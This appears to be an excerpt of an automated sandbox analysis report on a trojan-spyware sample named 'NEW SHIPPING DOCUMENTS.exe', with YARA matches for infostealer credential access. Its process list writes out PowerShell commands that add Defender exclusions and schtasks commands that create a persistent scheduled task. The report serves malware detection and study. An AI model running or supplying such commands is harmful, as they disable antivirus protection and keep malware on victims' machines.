Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08484A41	10_2_08484A41
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08484A50	10_2_08484A50
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08482A39	10_2_08482A39
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483DE0	10_2_08483DE0
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483DF0	10_2_08483DF0
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08481E88	10_2_08481E88
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08481E98	10_2_08481E98
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08480006	10_2_08480006
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_084830C8	10_2_084830C8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_084830D8	10_2_084830D8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848D0E0	10_2_0848D0E0
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08486099	10_2_08486099
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08484148	10_2_08484148
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08484138	10_2_08484138
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848F200	10_2_0848F200
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848F210	10_2_0848F210
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_084832E8	10_2_084832E8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_084832F8	10_2_084832F8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483562	10_2_08483562
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483570	10_2_08483570
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848D530	10_2_0848D530
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08484580	10_2_08484580
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08484590	10_2_08484590
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_08483758	10_2_08483758
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848F710	10_2_0848F710
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 10_2_0848F720	10_2_0848F720
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_012441C8	14_2_012441C8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_0124E809	14_2_0124E809
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_01244A98	14_2_01244A98
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_01243E80	14_2_01243E80
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE6600	14_2_06AE6600
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE7D90	14_2_06AE7D90
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE55C0	14_2_06AE55C0
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AEB23F	14_2_06AEB23F
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE3080	14_2_06AE3080
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AEC198	14_2_06AEC198
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE76B0	14_2_06AE76B0
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE5CEF	14_2_06AE5CEF
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AEE3B8	14_2_06AEE3B8
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE0040	14_2_06AE0040
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Code function: 14_2_06AE0023	14_2_06AE0023

Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2162479115.0000000006FE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamegK vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000004582000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename0a4d5b74-546f-4184-9d44-320b65cce72e.exe4 vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000000.2120004554.0000000000A36000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameAnYI.exe< vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2137544217.0000000000E3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2153779037.0000000005790000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2164780133.0000000007A80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2139661993.0000000002F63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename0a4d5b74-546f-4184-9d44-320b65cce72e.exe4 vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename0a4d5b74-546f-4184-9d44-320b65cce72e.exe4 vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000000.00000002.2142513748.0000000003D19000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCaptive.dll" vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4582718392.0000000000438000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename0a4d5b74-546f-4184-9d44-320b65cce72e.exe4 vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe, 00000009.00000002.4583213928.00000000012F8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs NEW SHIPPING DOCUMENTS.exe
Source: NEW SHIPPING DOCUMENTS.exe	Binary or memory string: OriginalFilenameAnYI.exe< vs NEW SHIPPING DOCUMENTS.exe

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.3d43748.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.4892828.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.4813808.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.NEW SHIPPING DOCUMENTS.exe.47947e8.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: NEW SHIPPING DOCUMENTS.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: RvUJzKx.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/15@2/2

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

File created: C:\Users\user\AppData\Roaming\RvUJzKx.exe

Jump to behavior

Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2244:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5584:120:WilError_03

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

File created: C:\Users\user\AppData\Local\Temp\tmp1B68.tmp

Jump to behavior

Source: NEW SHIPPING DOCUMENTS.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: NEW SHIPPING DOCUMENTS.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NEW SHIPPING DOCUMENTS.exe	Virustotal: Detection: 44%
Source: NEW SHIPPING DOCUMENTS.exe	ReversingLabs: Detection: 36%

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

File read: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\RvUJzKx.exe C:\Users\user\AppData\Roaming\RvUJzKx.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process created: C:\Users\user\AppData\Roaming\RvUJzKx.exe "C:\Users\user\AppData\Roaming\RvUJzKx.exe"
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\RvUJzKx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp1B68.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process created: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe "C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RvUJzKx" /XML "C:\Users\user\AppData\Local\Temp\tmp2DB8.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Process created: C:\Users\user\AppData\Roaming\RvUJzKx.exe "C:\Users\user\AppData\Roaming\RvUJzKx.exe"	Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
